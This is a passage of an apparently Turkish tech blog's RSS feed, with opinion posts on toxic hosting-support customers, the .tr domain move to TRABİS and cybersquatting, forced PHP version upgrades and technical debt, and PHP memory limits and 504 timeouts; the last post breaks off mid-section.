<li><strong>Managed Hosting (Yönetilen Danışmanlık):</strong> Şirketin uzman mühendisleri sizin adınıza logolarınızı düzenler, e-postalarınızı kurar, yedeklerinizi alır, sitenizi optimize eder. Bu hizmetin aylık danışmanlık ücreti <strong>en az 300 ila 1.000 dolardır!</strong></li>
</ol>
<p>Bizim elli liralık müşteri ise; 4 liralık bir simit parasına, yanında beş yıldızlı otelin açık büfe garsonunu ve özel aşçısını masasına beklemektedir.</p>
<p>İşin psikolojik derinliğine indiğinizde ise tam bir Türk usulü "statü yanılsaması" görürsünüz:<br>
Gerçek bir iş yapan, para kazanan kurumsal profesyonel; zamanın paradan çok daha değerli olduğunu bilir. Kendi hatasını hosting firmasına yıkmaya çalışarak 4 saat biletleşmek yerine gider bir yazılımcıya 500 lira verir ve işini 10 dakikada çözer.</p>
<p>Elli liralık müşteri ise hayatta hiçbir gerçek sorumluluk ve başarı elde edemediği için; o 50 liralık faturayı hayattaki tek "patronluk" alanı olarak görür. Oradaki genç destek personelini aşağılayarak, tehdit ederek ve emirler yağdırarak kendi ezik egosunu tatmin etmeye çalışır.</p>
<hr>
<h3>Destek Masasının Kurtuluş Stratejisi</h3>
<p>Hiçbir teknik destek personeli, yıllık 50 lira ödeyen bir kişinin toksik egosuyla gün boyu hırpalanmak ve psikolojik şiddet görmek zorunda değildir.</p>
<p>Profesyonel hosting şirketleri bu kanserojen müşteri kitlesine karşı şu katı sınırları çizmek zorundadır:</p>
<ul>
<li><strong>Hizmet Kapsamı Duvarı (Scope of Support):</strong> Destek sistemine ilk girişte açıkça belirtilmelidir: <em>"Firmamız üçüncü taraf yazılımlara (WordPress temaları, eklentiler, script hataları, lokal e-posta istemcileri) destek vermemektedir."</em> Bu sınırın dışındaki her talep için standart bir şablon cevap yapıştırılmalı ve bilet derhal kapatılmalıdır.</li>
<li><strong>Bilet Sıklığı Sınırı (Rate Limiting):</strong> Aynı konuda çözümlenmiş bileti on dakikada bir yeniden açan veya hakaret eden hesapların destek yetkisi 24 saatliğine otomatik dondurulmalıdır.</li>
<li><strong>Toksik Müşteriyi Kovmak (Fire the Customer):</strong> Şirket yönetimi personeline sahip çıkmalıdır. Şirkete yıllık 50 TL kazandırıp, destek personelinin 5.000 liralık mesaisini yutan ve ekibin motivasyonunu yok eden müşterinin 50 lirası derhal iade edilmeli ve hesabı sistemden kalıcı olarak silinmelidir.</li>
</ul>
<p>Tıpta tırnağı çizildiği için acil servisin kapısını kıran ve hekime saldıran şahsa müsamaha gösterilmez; güvenlik çağrılır ve dışarı atılır.</p>
<p>Bilişim sektöründe de 50 liralık hosting faturasıyla şirketinizi rehin almaya kalkan kaba müşterilere boyun eğmeyin.</p>
<p>Müşteri velinimettir; fakat sadece sınırlarını, haddini ve ödediği paranın karşılığını bilen müşteriler velinimettir. Geri kalanı, sadece altyapınızı ve ruhunuzu kemiren birer gürültü kaynağıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Müşteri İlişkileri</category>
            <category>Hosting</category>
            <category>Teknik Destek</category>
            <category>Kültür</category>
            <category>SysAdmin</category>
            <category>İş Hayatı</category>
            <category>Psikoloji</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/on-dakikada-bir-ticket-acan-elli-liralik-musteri-yesil-alan-triyaji-ironisi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[".TR Alan Adı" Dönüşümü: ODTÜ Bürokrasisinden TRABİS Vahşi Batısına]]></title>
            <link>http://localhost:3000/blog/post/tr-alan-adi-donusumu-odtu-burokrasisinden-trabis-vahsi-batisina</link>
            <guid>tr-alan-adi-donusumu-odtu-burokrasisinden-trabis-vahsi-batisina</guid>
            <pubDate>Wed, 22 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[ODTÜ Nic.tr döneminin imza sirkülü, kaşeli evrak çilesinden; TRABİS ile başlayan belgesiz tahsis ve dijital arsa spekülatörlerinin hücumuna Türkiye internetinin .tr serüveni.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/tr-alan-adi-donusumu-odtu-burokrasisinden-trabis-vahsi-batisina/thumbnail" alt=""> Sağlık sisteminin ve ilaç regülasyonlarının tarihinde ibretlik bir "sarkaç yasası" vardır.</p>
<p>Eski dönemlerde en basit bir tansiyon ilacını veya medikal cihazı alabilmek için hastadan üç hekimli sağlık kurulu raporu, ıslak imzalı başhekim onayı, kaymakamlık sevki ve noter tasdikli evraklar istenirdi. İnsanlar o hantal bürokrasinin koridorlarında reçete kuyruklarında perişan olur, tedaviye ulaşamadan hastalıkları ilerlerdi.</p>
<p>Sonra bürokrasiye isyan edildi ve sistem tam tersi uca savruldu: Reçetesiz, belgesiz, kontrolsüz serbestlik getirildi. Bu kez de insanlar bakkaldan leblebi alır gibi antibiyotik ve kortizon tüketmeye başladı; toplumda antibiyotik direnci patladı, süper bakteriler türedi ve karaciğer yetmezlikleri tavan yaptı.</p>
<p>Aşırı kural ve bürokrasi sistemi hantallıktan felç eder; sıfır kural ve denetimsiz serbestlik ise fırsatçıların yağmaladığı vahşi bir kaosa yol açar.</p>
<p>Türkiye'nin internet tarihinde de tam olarak bu bürokratik felçten kontrolsüz vahşi batı yağmasına savrulan, dijital ekonominin kaderini değiştiren meşhur bir dönüşüm hikayesi vardır: <strong><code>.com.tr</code> Alan Adlarının ODTÜ (Nic.tr) Vesayetinden Kurtulup TRABİS Belgesiz Tahsis Dönemine Geçişi.</strong></p>
<hr>
<h3>Taş Devri: Faksla Alan Adı Alınan ODTÜ Dönemi</h3>
<p>2000'li yılların başından 2022'ye kadar Türkiye'de bir <code>.com.tr</code> alan adı tescil ettirmek, adeta Tapu Kadastro Müdürlüğü'nden hazine arazisi satın almak kadar ağır bir bürokratik imtihandı.</p>
<p>Süreç Orta Doğu Teknik Üniversitesi (ODTÜ) bünyesindeki <strong>Nic.tr</strong> tarafından yönetilirdi.<br>
Bir şirket kurmuşsunuzdur; örneğin <em>"Denizhan Teknoloji Ltd. Şti."</em> ve <code>denizhanteknoloji.com.tr</code> alan adını almak istiyorsunuzdur.</p>
<p>Süreç şöyle işlerdi:</p>
<ol>
<li>Alan adı siparişi verilir.</li>
<li>Nic.tr sizden resmi evrak talep eder:
<ul>
<li>Ticaret Sicil Gazetesi fotokopisi,</li>
<li>Şirketin güncel Vergi Levhası,</li>
<li>Noter tasdikli İmza Sirküleri,</li>
<li>Şirket yetkilisinin nüfus cüzdanı sureti,</li>
<li>Ve eğer şirket unvanınız alan adıyla birebir örtüşmüyorsa Türk Patent ve Marka Kurumu'ndan alınmış <strong>Marka Tescil Belgesi veya Başvuru Belgesi!</strong></li>
</ul>
</li>
<li>Bütün bu evraklar taranır, kaşelenir, ıslak imza atılır ve Nic.tr sistemine yüklenir (hatta 2000'lerin başında faks çekilirdi!).</li>
<li>ODTÜ'deki heyet bu evrakları inceler, tescil başvurusu 3 gün ile 3 hafta arasında incelenir; unvandaki tek bir harf veya sektör kodu uyuşmazsa başvuru acımasızca <strong>REDDEDİLİRDİ!</strong></li>
</ol>
<p>Küresel internet dünyasında Amerikalı veya Avrupalı bir girişimci GoDaddy'den 10 saniyede kredi kartıyla alan adını alıp projesini yayına alırken; Türk girişimcisi noter kapılarında ve patent ofislerinde <code>.com.tr</code> alabilmek için haftalarca bürokrasi çilesi çekerdi.</p>
<p>Bu hantallık yüzünden Türkiye'deki binlerce firma <code>.com.tr</code> almaktan vazgeçti ve projelerini mecburen <code>.com</code> veya <code>.net</code> uzantılarına taşıdı.</p>
<hr>
<h3>TRABİS Devrimi: "İlk Gelen Alır" (First-Come, First-Served)</h3>
<p>Yıllar süren tartışmaların, mahkemelerin ve yasal düzenlemelerin ardından yetki Bilgi Teknolojileri ve İletişim Kurumu'na (BTK) devredildi.<br>
Ve <strong>14 Eylül 2022</strong> tarihinde Türkiye internet tarihinin dönüm noktası yaşandı: <strong>TRABİS (Türkiye Alan Adı Sistemi) resmen faaliyete geçti.</strong></p>
<p>En büyük devrim şuydu:<br>
<code>.com.tr</code>, <code>.net.tr</code>, <code>.org.tr</code> gibi popüler uzantılardaki <strong>tüm belge zorunluluğu kaldırıldı!</strong><br>
Sistem küresel standart olan <strong>"İlk Gelen Alır" (First-Come, First-Served)</strong> kuralına geçti. Artık kimse sizden imza sirküsü, marka tescili, vergi levhası sormayacaktı; parayı basan, 30 saniye içinde alan adının sahibi oluyordu!</p>
<p>Bürokrasi bitmişti, internet özgürleşmişti, süreç ışık hızına çıkmıştı.<br>
Fakat o gece yarısı saatler 00:00'ı vurduğunda, Türkiye internetinde tarihin en büyük dijital yağması başladı!</p>
<hr>
<h3>Dijital Arsa Avcılarının Hücumu (Cybersquatting)</h3>
<p>Belge zorunluluğu kalktığı o saniyede, yıllardır ODTÜ bürokrasisi yüzünden tescil edilememiş olan yüz binlerce jenerik ve popüler kelime serbest kaldı:<br>
<code>avukat.com.tr</code>, <code>otel.com.tr</code>, <code>mobilya.com.tr</code>, <code>istanbulnakliyat.com.tr</code>...</p>
<p>Saniyeler içinde:</p>
<ul>
<li>Yazılımcılar özel Python botları ve API scriptleri yazdı.</li>
<li>Türkiye'deki ve dünyadaki "Domain Broker"ları (Alan Adı Spekülatörleri) milyonlarca liralık bütçelerle TRABİS kayıt operatörlerinin (Registrar) kapısına yığıldı.</li>
<li>İlk 48 saat içinde yüz binlerce <code>.com.tr</code> alan adı saniyeler içinde kapışıldı!</li>
</ul>
<p>Ve iki gün sonra acı gerçek sahaya çarptı:<br>
Kadıköy'deki 30 yıllık köklü bir lokantanın, Bursa'daki bir tekstil atölyesinin veya tanınmış bir doktorun adını taşıyan <code>.com.tr</code> alan adları; hayatında o sektörle hiçbir ilgisi olmayan 20 yaşındaki bir bot yazılımcısı tarafından 50 liraya tescil edilmişti!</p>
<p>Esnaf sabah uyandı, sitesini açmak istedi:<br>
<code>www.hasanusta.com.tr</code> adresinde devasa bir ilan parıldıyordu:<br>
<strong>"BU ALAN ADI SATILIKTIR - FİYAT: 5.000 DOLAR!"</strong></p>
<hr>
<h3>Mahkeme Koridorları ve UÇÇM Tahkimi</h3>
<p>Bürokrasiden kaçarken bu kez de vahşi batının şantaj ve spekülasyon tuzağına düşülmüştü.</p>
<p>Hak sahipleri feryat etti: <em>"Bu benim 40 yıllık ticari markam, nasıl benden habersiz başkasına verirsiniz?!"</em></p>
<p>TRABİS bu kriz için bir can simidi hazırlamıştı: <strong>Uyuşmazlık Çözüm Hizmet Sağlayıcıları (UÇÇM).</strong><br>
ICANN'in küresel UDRP mekanizmasına benzer şekilde; tescilli marka sahipleri Bilgi Teknolojileri Derneği veya TOBB Uyum gibi hakem kurullarına başvurarak alan adının kötü niyetle (bad faith) tescil edildiğini kanıtlayıp geri alma hakkına sahipti.</p>
<p>Fakat bu kez de ortaya başka bir faturayla karşılaşıldı:</p>
<ul>
<li>Bir alan adını 50 liraya kapatan spekülatöre karşı hakem heyetine başvurmanın başvuru harcı <strong>5.000 TL ile 15.000 TL arasındaydı!</strong></li>
<li>İnceleme aylarca sürüyordu.</li>
<li>Pek çok küçük esnaf avukat ve hakem masrafını ödeyemediği için ya boyun eğip o spekülatöre haraç gibi parayı ödedi, ya da kendi markasının <code>.com.tr</code> uzantısını sonsuza kadar kaybetti.</li>
</ul>
<hr>
<h3>Denge Arayışı: Bürokrasi mi, Güvenlik mi?</h3>
<p><code>.tr</code> dönüşümünün hikayesi, tüm dijital regülasyonlar için muazzam bir vaka analizidir:</p>
<ul>
<li>ODTÜ dönemi aşırı bürokrattı, sektörü boğdu, inovasyonu yavaşlattı; ama en azından markaları korsanlara karşı çelik bir zırhla koruyordu.</li>
<li>TRABİS dönemi süreci modernize etti, global standartlara taşıdı, hacmi patlattı; fakat gerekli yasal koruma bariyerleri (örneğin marka sahiplerine öncelikli hak tanıma - Sunrise Period) yeterince esnetilmediği için büyük bir mağduriyet yarattı.</li>
</ul>
<p>Bugün bir işletme kuruyorsanız almanız gereken en temel ders şudur:<br>
Dijital dünyada mülkiyet, siz tescil edene kadar hiç kimsenindir.</p>
<p>Fikirlerinizi, markanızı ve alan adlarınızı "sonra hallederiz" diyerek ertelemeyin.<br>
Bürokrasinin olmadığı bir dünyada hızlı olan kazanır; yavaş kalan ise kendi markasını bir spekülatörün açık artırma masasında fahiş fiyatlarla satın almak zorunda kalır. Dijital arsanızı çitle çevirin; çünkü sanal alemde affetmek yoktur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>TRABİS</category>
            <category>Domain</category>
            <category>Nic.tr</category>
            <category>İnternet Tarihi</category>
            <category>Türkiye</category>
            <category>Hukuk</category>
            <category>Girişimcilik</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/tr-alan-adi-donusumu-odtu-burokrasisinden-trabis-vahsi-batisina/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Gece Yarısı PHP Güncellemesi": Çöken On Yıllık Siteler ve Teknik Borç İflası]]></title>
            <link>http://localhost:3000/blog/post/gece-yarisi-php-guncellemesi-coken-on-yillik-siteler-ve-teknik-borc-iflasi</link>
            <guid>gece-yarisi-php-guncellemesi-coken-on-yillik-siteler-ve-teknik-borc-iflasi</guid>
            <pubDate>Tue, 21 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Hosting firmasının PHP 5.6 ve 7.x sürümlerini emekliye ayırmasıyla sabah Fatal Error ile uyanan binlerce site sahibi; tıptaki kara kutu ilaç yasakları ve güncellenmeyen kodun kaçınılmaz ölümü.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/gece-yarisi-php-guncellemesi-coken-on-yillik-siteler-ve-teknik-borc-iflasi/thumbnail" alt=""> Farmakoloji ve halk sağlığı tarihinde ibretlik bir "ilaç yasaklama" travması vardır.</p>
<p>Geçmişte hekimlerin ve hastaların yıllarca güvenle kullandığı, ağrıyı bıçak gibi kesen popüler bir ilaç (örneğin <em>Vioxx / Rofekoksib</em> veya eski nesil bazı iştah kesiciler) düşünün. Yıllar sonra yapılan geniş çaplı klinik çalışmalarda bu ilacın sessizce kalp krizlerini tetiklediği, binlerce insanın ölümüne yol açtığı kanıtlanır. Dünya Sağlık Örgütü ve Sağlık Bakanlığı bir gece yarısı genelgesiyle ilacın ruhsatını iptal eder, tüm eczanelerden toplatır ve kullanımını yasaklar.</p>
<p>Ertesi sabah yetmiş yaşında bir teyze polikliniğe gelir. Masaya yumruğunu vurur:<br>
<em>"Evladım ben on beş yıldır bu ilacı içiyorum, dizimin ağrısını bir tek bu kesiyordu! Eczacı vermedi, illa bana bu hapı yazacaksın!"</em></p>
<p>Hekim teyzeye ilacın kalbi durdurduğunu, ölümcül olduğunu bilimsel grafiklerle anlatmaya çalışır; ama nafiledir. Teyzenin hafızasında tek bir gerçek vardır: <em>"Ben dün bunu içtim ve iyiydim; o halde yasaklayanlar suçludur!"</em></p>
<p>Alışkanlığın konforu, insanı kendi sağlığını tehdit eden ölümcül bir zehre bile körü körüne bağımlı kılabilir.</p>
<p>Web hosting dünyasında, yazılım ekosistemlerinde ve sistem yöneticiliğinde de her birkaç yılda bir tekrarlanan, teknik destek masalarını yangın yerine çeviren meşhur bir toplumsal kriz vardır: <strong>Hosting Firmasının Eski PHP Sürümlerini Kapatması ve Sabah Fatal Error ile Uyanan On Yıllık Sitelerin İsyanı.</strong></p>
<hr>
<h3>2012 Yılında Donup Kalan Bir Dijital Fosille Yaşamak</h3>
<p>Türkiye'deki paylaşımlı hosting sunucularında barınan web sitelerinin önemli bir kısmı birer "dijital fosil"dir.</p>
<p>2012 yılında bir üniversite öğrencisine veya yerel bir web tasarımcısına 500 liraya yaptırılmış bir kurumsal web sitesi düşünün:</p>
<ul>
<li>PHP 5.3 veya PHP 5.6 ile yazılmıştır.</li>
<li>Veritabanına bağlanmak için milattan önce terk edilmiş olan <code>mysql_connect()</code> fonksiyonunu kullanmaktadır.</li>
<li>Karakter kodlamasında Türkçe karakterleri tutabilmek için ilkel <code>iconv</code> taklaları atılmıştır.</li>
<li>Güvenlik açıklarıyla dolu eski bir jQuery kütüphanesine yaslanmıştır.</li>
</ul>
<p>Site yapılmış, şirketin sunucusuna yüklenmiş ve o günden sonra <strong>tek bir satır koduna bile dokunulmamıştır!</strong></p>
<p>On yıl boyunca şirket sahibi her sabah tarayıcısını açmış, sitesine bakmış, "Oh ne güzel çalışıyor" demiştir. Şirket sahibinin gözünde yazılım; tıpkı ofisteki tahta masa veya çelik kasa gibi bir kez satın alınan ve ömür boyu bakım gerektirmeyen statik bir mobilyadır.</p>
<p>Oysa internet durağan bir müze değildir; saniyede binlerce yeni siber saldırı tekniğinin türediği canlı, vahşi bir organizmadır.</p>
<hr>
<h3>PHP Topluluğunun İdam Kararı: End of Life (EOL)</h3>
<p>PHP geliştirici topluluğu (The PHP Group) her sürüm için katı bir yaşam döngüsü uygular:</p>
<ul>
<li>Bir PHP sürümü çıkar (Örn: PHP 8.1).</li>
<li>İki yıl boyunca aktif geliştirme desteği alır.</li>
<li>Bir yıl boyunca kritik güvenlik yamaları (Security fixes) alır.</li>
<li>Üçüncü yılın sonunda ise resmi olarak <strong>"End of Life" (Ömrün Sonu - EOL)</strong> ilan edilir ve mezara gömülür.</li>
</ul>
<p>PHP 5.6'nın resmi güvenliği <strong>31 Aralık 2018'de bitti!</strong><br>
PHP 7.2'nin güvenliği <strong>30 Kasım 2020'de bitti!</strong><br>
PHP 7.4'ün güvenliği bile <strong>28 Kasım 2022'de tarihe karıştı!</strong></p>
<p>Bu ne demektir?<br>
Bu eski sürümlerde keşfedilen uzaktan kod çalıştırma (RCE), bellek taşması ve SQL enjeksiyonu açıklarına artık dünyada tek bir yama bile yazılmamaktadır!</p>
<p>Bir sunucuda PHP 5.6 çalıştırmak; kapısında güvenlik görevlisi olmayan bir banka şubesinin kasasını sokak ortasında açık bırakmakla aynı şeydir. Sunucudaki tek bir açık yüzünden o sunucudaki binlerce masum müşterinin verisi fidye yazılımlarına yem olabilir.</p>
<hr>
<h3>Gece Yarısı Gelen Sessiz Neşter</h3>
<p>Hosting firmasının güvenlik ve sistem ekibi toplanır. Uluslararası standartlar (ISO 27001, PCI-DSS) ve sunucu güvenliği artık alarm vermektedir.<br>
Sistem mühendisleri haftalar öncesinden müşterilere e-postalar atar:<br>
<em>"Sayın müşterilerimiz, sunucumuzdaki PHP 5.6 ve 7.x sürümleri 20 Nisan gecesi güvenlik gerekçesiyle kapatılacak ve sunucu varsayılanı modern PHP 8.2'ye yükseltilecektir. Lütfen yazılımlarınızı güncelleyiniz."</em></p>
<p>Tabii ki müşterilerin %90'ı o e-postayı okumaz bile; "reklamdır" deyip çöpe atar.</p>
<p>Ve o perşembe gecesi saat 02:00'de sistemci terminale girer:<br>
Sunucu genelindeki PHP yöneticisi (cPanel MultiPHP veya CloudLinux alt yapısı) güncellenir. Eski kütüphaneler derlenmekten çıkarılır.</p>
<hr>
<h3>Sabah Gelen Kıyamet: Fatal Error Tiyatrosu</h3>
<p>Cuma sabahı saat 09:00.<br>
On yıldır sitesine tek bir çivi çakmayan patron ofisine gelir. Kahvesini alır, gururla şirketinin web sitesine girmek ister: <code>enter</code>.</p>
<p>Ve ekranda bembeyaz bir sayfa ve üzerinde kırmızı harflerle yazılmış o tarihi ölüm fermanı belirir:<br>
<code>Fatal error: Uncaught Error: Call to undefined function mysql_connect() in /home/site/public_html/baglanti.php:12</code><br>
<code>Stack trace: #0 {main} thrown in /home/site/public_html/baglanti.php on line 12</code></p>
<p>Patronun tansiyonu fırlar. Telefon ahizesi yerinden sökülür, hosting firmasının destek hattına ve bilet sistemine bir küfür ve tehdit fırtınası iner:</p>
<blockquote>
<p><em>"Siz benim ekmeğimle mi oynuyorsunuz?! Dün akşam saat altıda canavar gibi çalışan sitemi gece girip bilerek bozmuşsunuz! Hemen o yaptığınız ayarı geri alın, sitemi eski haline getirin yoksa avukatımı gönderiyorum!"</em></p>
</blockquote>
<p>Destek masasındaki genç mühendis sabırla izah etmeye çalışır:<br>
<em>"Beyefendi, sitenizdeki kod 12 yıl öncesine ait. Kullandığınız <code>mysql_connect</code> fonksiyonu 2015 yılında PHP'den tamamen kaldırıldı. Güvenlik açıkları nedeniyle sunucumuz PHP 8'e geçirildi. Yazılımcınıza söyleyin, kodları PDO veya MySQLi kütüphanesine güncellesin."</em></p>
<p>Patronun yanıtı Türk internetinin özeti gibidir:<br>
<em>"Yazılımcı kim kardeşim? O çocuk 10 yıl önce askere gitti, numarası bile yok bende! Ben koddan anlamam, dille mille uğraşamam! Dün çalışan şeyi siz bozdunuz, siz düzelteceksiniz!"</em></p>
<hr>
<h3>Teknik Borcun Kaçınılmaz Haczi</h3>
<p>Finans dünyasında bir borcu ödemezseniz faiz biner ve bir gün kapınıza haciz memuru gelir.<br>
Yazılım dünyasında da güncellemeleri yapmayıp kenara çekilmenin adına <strong>"Teknik Borç" (Technical Debt)</strong> denir.</p>
<p>Siz on yıl boyunca:</p>
<ul>
<li>"Aman çalışıyor işte kurcalama" dediniz,</li>
<li>Yazılımcıya bütçe ayırmadınız,</li>
<li>Kodlarınızı PHP 7'ye, ardından PHP 8'e modernize etmediniz,</li>
<li>Kütüphanelerinizi yenilemediniz.</li>
</ul>
<p>Bedavaya yaşadığınızı zannettiniz.<br>
Oysa siz sadece borcu ertelediniz.<br>
Ve o gece yarısı gelen PHP güncellemesi; o on yıldır biriktirdiğiniz tüm teknik borcun faiziyle birlikte kapınıza dayandığı o kaçınılmaz haciz anıdır!</p>
<hr>
<h3>Yaşayan Bir Yazılım Kültürü</h3>
<p>Bir web sitesi sahibi olan herkes şu acı gerçeği kabullenmek zorundadır:</p>
<ul>
<li><strong>Kodlar Eskir:</strong> Tıpkı bir arabanın motor yağının veya lastiklerinin eskimesi gibi, yazılmış her kod satırı zamanla eskir, paslanır ve güvenliğini kaybeder.</li>
<li><strong>Hosting Sunucusu Müze Değildir:</strong> Hiçbir hosting firması, sizin 10 yıllık eski kırık kodunuz çalışsın diye tüm sunucuyu hackerların açık hedefi haline getirecek eski PHP sürümlerini sonsuza kadar açık tutamaz.</li>
<li><strong>Bakım Bütçesi Şarttır:</strong> Bir web projesi yayına alındığı gün bitmez; o gün doğar. Yıllık bütçenize mutlaka "yazılım bakım ve kütüphane modernizasyon" kalemi koymak zorundasınız.</li>
</ul>
<p>Tıpta kalbi durduran yasaklı ilacı teyzeye vermeyen hekim teyzenin hayatını kurtarıyordur.</p>
<p>Hosting firması da eski PHP sürümlerini kapatırken aslında sizin veritabanınızı hackerların elinden kurtarıyordur.</p>
<p>Suçu güncellemeyi yapan sunucuya atmayı bırakın. Kodunuzu çağa uydurun; çünkü teknoloji, geride kalanların gözyaşlarına asla bakmaz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>PHP</category>
            <category>Hosting</category>
            <category>Teknik Borç</category>
            <category>Legacy Code</category>
            <category>cPanel</category>
            <category>SysAdmin</category>
            <category>Web Geliştirme</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/gece-yarisi-php-guncellemesi-coken-on-yillik-siteler-ve-teknik-borc-iflasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["PHP Memory Limit" ve "504 Gateway Timeout": Doyurulamayan Kodun Ajitasyonu]]></title>
            <link>http://localhost:3000/blog/post/php-memory-limit-ve-504-gateway-timeout-doyurulamayan-kodun-ajitasyonu</link>
            <guid>php-memory-limit-ve-504-gateway-timeout-doyurulamayan-kodun-ajitasyonu</guid>
            <pubDate>Mon, 20 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Paylaşımlı sunucuda 512 MB belleği yetiremeyip RAM vanasını sonuna kadar açtırmaya çalışan müşteri sosyolojisi; KOAH hastasına aşırı oksijen verme paradoksu ve bellek sızıntısı gerçeği.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/php-memory-limit-ve-504-gateway-timeout-doyurulamayan-kodun-ajitasyonu/thumbnail" alt=""> Göğüs hastalıkları ve acil tıp kliniklerinde asistan hekimlere ilk öğretilen hayati uyarılardan biri, ileri evre Kronik Obstrüktif Akciğer Hastalığı (KOAH) olan bir hastaya yaklaşım kuralıdır.</p>
<p>KOAH hastası nefes darlığı içinde, dudakları morarmış halde acil servise gelir. Panik içindeki hasta yakını duvardaki oksijen tüpünü görür ve hekime yalvarır:<br>
<em>"Doktor bey ne olur vanayı sonuna kadar aç! Görmüyor musun hastam nefes alamıyor, sonuna kadar kökle oksijeni!"</em></p>
<p>Oysa o panikle vanayı sonuna kadar açıp hastaya %100 saf oksijen maskesi bağlarsanız ne olur biliyor musunuz? Hastayı kendi ellerinizle öldürürsünüz!</p>
<p>Çünkü sağlıklı bir insanda beynin nefes alma dürtüsü kandaki karbondioksit artışıyla tetiklenirken; yıllardır yüksek karbondioksitle yaşayan KOAH hastasının beyni bu mekanizmayı kaybetmiş ve nefes almayı sadece "kandaki oksijen düşüklüğüne" (hipoksik dürtü) bağlamıştır. Siz hastaya kontrolsüzce yüksek doz oksijen verdiğiniz anda, beyin <em>"Kanda bol oksijen var, nefes almama gerek kalmadı"</em> der; hastanın solunumu aniden durur, karbondioksit narkozuna girer ve hasta komaya girerek arrest olur.</p>
<p>Sorun ortamdaki oksijenin azlığı değildir; sorun hastanın o oksijeni işleme yeteneğini kaybetmiş olmasıdır. Vanayı açmak şifa değil, ölüm getirir.</p>
<p>Web hosting dünyasında, teknik destek kuyruklarında ve cPanel panellerinde her gün yüzlerce kez yaşanan meşhur bir altyapı psikodraması vardır: <strong>Kötü Yazılmış Bir Script İçin Sürekli <code>memory_limit</code> Değerini Artırmaya Çalışan Müşterinin "504 Gateway Timeout" İsyanı.</strong></p>
<hr>
<h3>"Bana 2 Gigabayt RAM Verin, Sitem Uçsun!"</h3>
<p>Paylaşımlı hostingde barınan tipik bir yerel müşteri düşünün.<br>
Sitede ağır bir e-ticaret teması, üzerine kurulmuş 35 eklenti ve arka planda tedarikçiden 50 bin ürünü aynı anda çekmeye çalışan verimsiz bir XML ürün içe aktarma (import) botu çalışmaktadır.</p>
<p>Kullanıcı yönetim panelinden "Ürünleri Güncelle" butonuna basar.<br>
Tarayıcının sekmesindeki o minik daire dönmeye başlar: <em>Döner... Döner... Döner...</em><br>
Bir dakika geçer, iki dakika geçer.</p>
<p>Ve ekrana Nginx veya LiteSpeed web sunucusunun o meşhur gri hatası tokat gibi iner:<br>
<code>HTTP 504 Gateway Timeout</code><br>
Veya PHP'nin çaresiz çığlığı:<br>
<code>Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 14589234 bytes) in /home/site/public_html/import.php on line 84</code></p>
<p>Müşteri hemen cPanel'deki "Select PHP Version" veya <code>MultiPHP INI Editor</code> menüsüne koşar.<br>
Orada sihirli bir ayar görür: <code>memory_limit = 256M</code>.<br>
Müşteri sevinçle o sayıyı değiştirir: <code>512M</code> yapar!<br>
Sayfayı yeniler: Yine aynı hata!<br>
Müşteri bu kez <code>1024M</code> (1 GB) yazmaya çalışır; fakat hosting firmasının CloudLinux güvenlik kuralları gereği tavan sınır 512 MB'a kilitlenmiştir.</p>
<p>Ve destek sistemine o büyük harfli, öfkeli bilet (ticket) düşer:</p>
<blockquote>
<p><em>"Kardeşim ben sunucunuza dünyanın parasını ödüyorum! Siteme 1 GB RAM yetmiyor, memory limitimi acilen 2048M yapın! Ayarı kitlemişsiniz, parasını verdiğim kaynağı benden esirgiyorsunuz! Hemen limiti kaldırın yoksa hostingi iptal ederim!"</em></p>
</blockquote>
<hr>
<h3>Bellek Sızıntısı (Memory Leak): Dipsiz Kuyuya Su Taşımak</h3>
<p>Sistem yöneticisinin anlamakta en çok zorlandığı şey müşterinin bu akıl almaz talebi değil; müşterinin <strong>yazılım mantığına olan mutlak yabancılığıdır.</strong></p>
<p>Bir PHP scripti neden 512 Megabayt belleği tüketip çöker?<br>
Normal şartlar altında, optimize edilmiş kurumsal bir PHP uygulaması (hatta karmaşık bir Laravel veya Symfony API'si bile) tek bir sayfa isteği sırasında <strong>en fazla 15 ila 35 Megabayt RAM</strong> tüketir!</p>
<p>Eğer bir PHP sayfası tek bir ziyaretçiye yanıt verebilmek için 512 MB belleği bitiriyorsa; orada bir "ihtiyaç" yoktur.<br>
Orada açık ve net bir <strong>"Bellek Sızıntısı" (Memory Leak) ve Kötü Kodlama Rezilliği</strong> vardır!</p>
<p>Arka planda ne olmaktadır?</p>
<ol>
<li>Yazılımcı veritabanından 50.000 satırlık ürün tablosunu tek bir <code>SELECT *</code> sorgusuyla belleğe çekmiştir!</li>
<li>Her bir satırı bir PHP objesine dönüştürüp devasa bir diziye (array) atmıştır.</li>
<li>Bir döngü (<code>foreach</code>) açmış, döngünün içinde işi biten değişkenleri bellekten temizlememiş (<code>unset</code>), PHP'nin çöp toplayıcısına (Garbage Collector) fırsat tanımamıştır.</li>
<li>Bellek şişmiş, şişmiş ve sonunda sunucunun izin verdiği tavana toslayarak patlamıştır!</li>
</ol>
<p>Şimdi o müşteriye istediği o 2 GB RAM limitini verseniz ne olur?<br>
Hiçbir şey değişmez!<br>
O doyumsuz ve bozuk kod, 50 bin ürünü değil 100 bin ürünü çekmeye çalışacak; bu kez 10 saniye sonra <strong>2 GB belleği de yutacak</strong> ve yine <code>Allowed memory size exhausted</code> diyerek yere çakılacaktır!</p>
<p>Dipsiz bir kuyuya bir kova su dökseniz de dolmaz, bir tanker su dökseniz de dolmaz. Sorun suyun miktarında değil; kuyunun altındaki deliktedir!</p>
<hr>
<h3>"504 Gateway Timeout" ve İşlemci Boğulması</h3>
